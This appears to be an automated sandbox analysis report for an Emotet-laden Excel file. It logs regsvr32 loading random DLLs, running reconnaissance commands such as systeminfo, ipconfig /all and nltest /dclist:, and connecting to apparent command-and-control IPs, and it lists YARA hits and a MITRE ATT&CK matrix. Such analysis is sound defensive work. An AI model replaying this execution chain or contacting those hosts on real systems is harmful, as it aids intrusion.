Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000006.00000002.1145651291.0000000000412000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_0000000180007A68 __crtCaptureCurrentContext,IsDebuggerPresent,__crtUnhandledException,

3_2_0000000180007A68

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000000018000EB10 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000000018000EB10

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000000018000671C GetProcessHeap,

3_2_000000018000671C

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000000018000766C SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_000000018000766C

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 174.138.33.49 7080			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 180.250.21.2 443			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PjLQNSdPqGYp\jncSJNcDE.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YttRusg\GisEpTWmOuS.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_0000000180006EDC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_0000000180006EDC

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.21a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.37531c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.37531c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.20b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.500000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.20e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.20b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2070000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.3581b30.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.21a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.3581b30.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.35600f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.35600f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.20e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1145826810.0000000002141000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212546662.0000000002070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212794777.0000000000500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.922476123.0000000002111000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1212495449.0000000000281000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.922324576.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212616896.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212485334.0000000000261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984306856.0000000003671000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1144792947.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.928931752.0000000000210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.981015029.0000000003541000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984624100.0000000003736000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1212368524.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.928977615.0000000000281000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212376414.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.981139905.0000000003582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.941076199.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.909936865.0000000002141000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.940219777.0000000000240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1145771957.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984499206.0000000003735000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.909786385.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	111 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	2 Scripting	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	117 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	131 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	12 Virtualization/Sandbox Evasion	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report informe_30062022.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
informe_30062022.xls